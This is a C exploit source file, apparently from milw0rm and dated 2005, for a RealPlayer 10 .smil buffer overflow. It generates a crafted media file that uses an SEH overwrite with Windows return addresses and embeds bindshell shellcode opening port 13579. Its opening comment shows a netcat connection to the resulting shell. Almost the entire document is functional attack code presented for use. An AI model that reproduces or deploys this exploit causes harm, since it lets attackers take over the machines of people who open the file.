/* RealPlayer .smil file buffer overflow Coded by nolimit@CiSO & Buzzdee greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget This uses a seh overwrite method, which takes advantage of the SEH being placed in multiple locations over the different OS's. Because of this, it should be completely universal. :). Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in. C:\tools>nc -vv SERVER 1554 SERVER [192.168.1.93] 1554 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\Program Files\Real\RealPlayer> */ #include <stdio.h> #include <stdlib.h> #include <string.h> char pre[]= "<smil>\n" " <head>\n" " <layout>\n" " <region id=\"a\" top=\"5\" />\n" " </layout>\n" " </head>\n" " <body>\n" " <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\""; char shellcode[]= /* bindshell port 13579 thx to metasploit.com :) restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e, 0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */ "\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f" "\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a" "\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e" "\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4" "\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1" "\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99" "\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5" "\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b" "\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7" "\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3" "\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a" "\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e" "\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4" "\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed" "\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62" "\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8" "\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76" "\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7" "\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84" "\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a" "\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed" "\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85"; char end[]= " </body>" "</smil>"; char overflow[1700]; int main(int argc,char *argv[]) { FILE *vuln; if(argc == 1) { printf("RealPlayer 10 .smil file local buffer overflow.\n"); printf("Coded by nolimit & buzzdee.\n"); printf("Usage: %s <outputfile>\n",argv[0]); return 1; } vuln = fopen(argv[1],"w"); //build overflow buffer here. memset(overflow,0x90,sizeof(overflow)); //fill with nops memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); // memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret) memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); // memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); // memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^) memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in if(vuln) { //Write file fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end); fclose(vuln); } printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n"); return 0; } // milw0rm.com [2005-03-07]